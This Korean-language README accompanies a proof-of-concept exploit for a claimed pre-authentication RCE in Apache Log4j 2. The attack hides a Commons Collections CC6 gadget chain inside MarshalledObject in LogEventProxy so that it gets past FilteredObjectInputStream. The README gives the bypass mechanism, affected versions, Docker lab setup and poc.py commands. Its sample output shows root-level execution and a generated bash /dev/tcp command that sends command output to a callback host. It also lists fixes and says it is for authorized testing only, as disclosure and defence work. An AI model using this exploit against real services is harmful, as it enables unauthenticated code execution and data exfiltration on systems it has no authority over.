
Apache Log4j 2의 FilteredObjectInputStream MarshalledObject 우회를 통한 사전 인증 RCE
인증 없이 Log4j의 FilteredObjectInputStream을 통해 LogEvent를 역직렬화하는 모든 Java 서비스에서 RCE를 실행합니다. 자격 증명이 필요 없습니다.
2026년 8월 24일 GitHub 이슈 #4255로 보고되었습니다.
Log4j는 안전한 역직렬화 래퍼로 FilteredObjectInputStream(FOIS)을 제공합니다. 이 클래스는 resolveClass()를 허용 목록(allowlist)으로 재정의하여 org.apache.logging.log4j.*, java.lang.*, java.util.* 및 몇 가지 명시적 클래스만 통과할 수 있게 합니다.
명시적 클래스 중 하나가 java.rmi.MarshalledObject입니다:
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // <-- 문제의 클래스
...);
MarshalledObject.get()은 내부적으로 새로운 일반 ObjectInputStream 을 생성합니다. 필터가 없습니다. MarshalledObject 안에 감싸진 모든 것은 제한 없이 역직렬화되어 허용 목록을 완전히 우회합니다.
Log4j 자체가 이 래핑을 수행합니다. 모든 LogEvent의 직렬화 프록시인 LogEventProxy는 이벤트 메시지를 MarshalledObject<Message> 필드에 저장합니다. 역직렬화 시 marshalledMessage.get()을 호출하여 메시지를 복구합니다. 이 호출이 필터 없는 스트림을 생성합니다. 게임 끝입니다.
필터는 스트림의 최상위 클래스 설명자만 확인합니다:
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}
FOIS는 LogEventProxy(log4j 패키지, 허용됨), MarshalledObject(허용 목록에 있음), byte[](기본형)를 확인합니다. 모두 통과합니다. CC6 가젯 체인은 MarshalledObject.objBytes 안에 원시 바이트로 숨겨져 있습니다. FOIS는 이를 볼 수 없습니다.
LogEventProxy.readResolve()가 실행될 때:
// Log4jLogEvent.java:1265-1274
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // 필터 없는 ObjectInputStream
} catch (final Exception ex) {
// 무시
}
}
return new SimpleMessage(messageString);
}
marshalledMessage.get()은 일반 ObjectInputStream을 생성하고, CC6 체인이 트리거되어 명령이 실행됩니다. 가젯 결과가 Message가 아닐 때 발생하는 ClassCastException은 catch 블록이 삼키므로 서버는 정상적으로 응답합니다. 오류도, 로그 항목도 없습니다.
비교를 위해, ObjectMessage는 올바르게 처리합니다:
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
in.defaultReadObject();
obj = SerializationUtil.readWrappedObject(in); // 필터링된 내부 스트림 생성
}
LogEventProxy는 동일한 패턴을 사용해야 하지만 그렇게 하지 않습니다.
공격자 대상 (FOIS 기반 수신기)
| |
| HTTP POST /log |
| 본문: 직렬화된 LogEventProxy |
| ------------------------------------------> |
| |
| FilteredObjectInputStream.readObject()
| ├── resolveClass(LogEventProxy) ✓ log4j 패키지
| ├── resolveClass(MarshalledObject) ✓ 허용 목록
| └── resolveClass(byte[]) ✓ 기본형
| |
| LogEventProxy.readResolve()
| └── message()
| └── marshalledMessage.get()
| └── new ObjectInputStream(objBytes) 필터 없음
| └── HashSet.readObject() CC6
| └── TiedMapEntry.hashCode()
| └── LazyMap.get()
| └── ChainedTransformer
| └── Runtime.exec(cmd)
| |
| HTTP 200 OK: "log event" |
| <------------------------------------------ |
서버는 200으로 응답하고 아무 일도 없었던 것처럼 이벤트를 처리합니다.
핵심은 CC6 체인을 조기 트리거 없이 MarshalledObject.objBytes 안에 넣는 것입니다.
GadgetMessage는 Message를 구현하고 writeReplace()를 재정의하여 CC6 가젯을 반환합니다:
GadgetMessage를 메시지로 사용하는 Log4jLogEvent를 생성합니다.LogEventProxy.writeObject()가 marshall(message)를 호출하여 GadgetMessage를 MarshalledObject 생성자에 전달합니다.GadgetMessage를 직렬화합니다. writeReplace()가 실행되어 CC6 HashSet으로 대체됩니다.MarshalledObject.objBytes에 CC6 체인이 포함됩니다. GadgetMessage는 네트워크에 나타나지 않습니다.GadgetMessage는 공격자 측 전용입니다. 대상 클래스패스에 있을 필요가 없습니다.
| 구성 요소 | 취약 버전 |
|---|---|
log4j-api (FilteredObjectInputStream) | 2.11.0 ~ 2.24.3 |
log4j-core (LogEventProxy MarshalledObject 필드) | 2.8.0 ~ 2.24.3 |
대상에는 클래스패스에 가젯 라이브러리도 필요합니다. 이 PoC는 Commons Collections 3.2.1(CC6 체인)을 사용합니다.
요구 사항: Java 11+, Maven, Python 3.10+, Docker(피해자 랩 전용)
피해자 빌드 및 시작:
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..
익스플로잇 빌드(또는 poc.py가 첫 실행 시 자동 빌드):
cd exploit && mvn package -q -DskipTests && cd ..
실행:
# --lhost는 대상에서 접근 가능한 IP
# 동일 호스트의 Docker 랩인 경우 docker0 브리지 IP 사용
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1
출력:
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target: http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999
[*] generating payload ...
[gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
[gen] payload: 2619 bytes
[*] payload: 2619 bytes
[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event
[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)
사용자 지정 콜백 포트:
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444
exploit/에서 mvn package를 호출하여 PayloadGenerator를 컴파일하고 의존성을 가져옵니다. 이후 실행에서는 건너뜁니다.java -cp exploit/target/... PayloadGenerator <cmd>를 실행합니다. MarshalledObject 안에 CC6이 포함된 base64 직렬화 LogEvent를 출력합니다.--lport(기본값 9999)에 TCP 리스너를 열어 명령 출력을 수신합니다./log 엔드포인트에 전송합니다./dev/tcp를 통해 출력을 리스너로 다시 전송합니다.log4j2-rce/
├── README.md
├── poc.py # 익스플로잇 스크립트
├── exploit/ # 공격자 (호스트에서 실행)
│ ├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
│ └── src/
│ ├── PayloadGenerator.java # CC6 + MarshalledObject + LogEvent
│ └── GadgetMessage.java # writeReplace()가 있는 Message
└── lab/ # 피해자 (Docker)
├── Dockerfile
├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
└── src/
└── HttpLogReceiver.java # FOIS를 사용하는 HTTP 엔드포인트
lab/ 은 피해자입니다. HttpLogReceiver는 FilteredObjectInputStream을 사용하는 HTTP 로그 수신기입니다. 기본 구성, 디버그 플래그 없음, 인위적 약점 없음. Commons Collections는 현실적인 전이 의존성으로 클래스패스에 있습니다.
exploit/ 은 공격자 도구입니다. PayloadGenerator는 호스트에서 직렬화된 페이로드를 빌드합니다. 피해자 컨테이너에는 절대 접촉하지 않습니다.
REQUIRED_JAVA_CLASSES에서 java.rmi.MarshalledObject를 제거합니다.LogEventProxy의 MarshalledObject<Message> 필드를 SerializationUtil.writeWrappedObject() / readWrappedObject()로 직렬화된 byte[]로 교체합니다. 이는 ObjectMessage가 이미 올바르게 사용하는 패턴입니다.CC 3.2.1 이하: InvokerTransformer가 자유롭게 직렬화됩니다. CC6이 그대로 작동합니다.
CC 3.2.2(2015년 11월): InvokerTransformer에 직렬화 가드가 추가되어 org.apache.commons.collections.enableUnsafeSerialization이 true가 아니면 체인이 차단됩니다.
필터 우회는 CC 버전과 무관하게 존재합니다. CC의 가드는 가젯 계층의 심층 방어일 뿐, 손상된 필터에 대한 수정이 아닙니다. 가드가 없는 다른 가젯 라이브러리(Groovy, BeanShell, Spring Beans 등)도 동일한 공격을 가능하게 합니다.
docker rm -f fois-lab
docker rmi fois-bypass-lab
승인된 테스트 전용입니다. 소유하지 않은 시스템에 대해 실행하기 전에 서면 허가를 받으십시오.